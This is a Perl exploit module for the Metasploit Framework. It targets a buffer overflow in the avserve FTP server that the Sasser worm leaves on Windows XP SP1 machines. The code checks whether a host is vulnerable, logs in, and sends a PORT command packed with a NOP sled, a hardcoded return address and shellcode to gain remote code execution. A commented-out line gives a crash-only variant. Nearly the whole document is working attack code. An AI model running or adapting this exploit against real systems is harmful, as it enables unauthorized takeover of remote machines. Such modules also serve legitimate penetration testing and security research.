Sasser FTPd - Remote exploit for the FTP

By Attack Research

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::sasser_ftpd;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
{
'Name' => 'sasser worm avserve FTP server Overflow',
'Version' => '$Revision: 1 $',
'Authors' =>
[ 'valsmith [at] metasploit.net>',
'chamuco [at] gmail.com>',
],

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp' ],
'Priv' => 0,

'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
'SSL' => [0, 'BOOL', 'Use SSL'],
'USER' => [1, 'DATA', 'Username', 'ftp'],
'PASS' => [1, 'DATA', 'Password', 'ftp'],
},

'Payload' =>
{
'Space' => 480,
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
Windows sasser worm avserve ftp server exploit.
}),

'Refs' =>
[
['OSVDB', '6197']
],

'DefaultTarget' => 0,
'Targets' =>
[

['Windows XP SP1', 0x77e7633a ],
],

'Keys' => ['ftp'],

'DisclosureDate' => 'not applicable',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

my $res = $s->Recv(-1, 20);
$s->Close();

if ($res !~ /5\.0\.3/) {
$self->PrintLine("[*] This server does not appear to be vulnerable.");
return $self->CheckCode('Safe');
}

$self->PrintLine("[*] Vulnerable installation detected.");
return $self->CheckCode('Detected');
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the NOP module.");
return;
}


# DOS request version
# my $request = "PORT" . "\x41"x500;

my $request = "PORT". "\x90"x268 . "\xeb\x06\x90\x90" . $target .
"\xe9".pack('V',-1005) . "\x90"x15 . $shellcode . "\x90"x1530;

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

my $r = $s->RecvLineMulti(20);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
$self->Print($r);

$s->Send("USER ".$self->GetVar('USER')."\n");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
$self->Print($r);

$s->Send("PASS ".$self->GetVar('PASS')."\n");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
$self->Print($r);

#$s->Send("$request\n");
$s->Send("$request\n");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
$self->Print($r);

sleep(2);
return;
}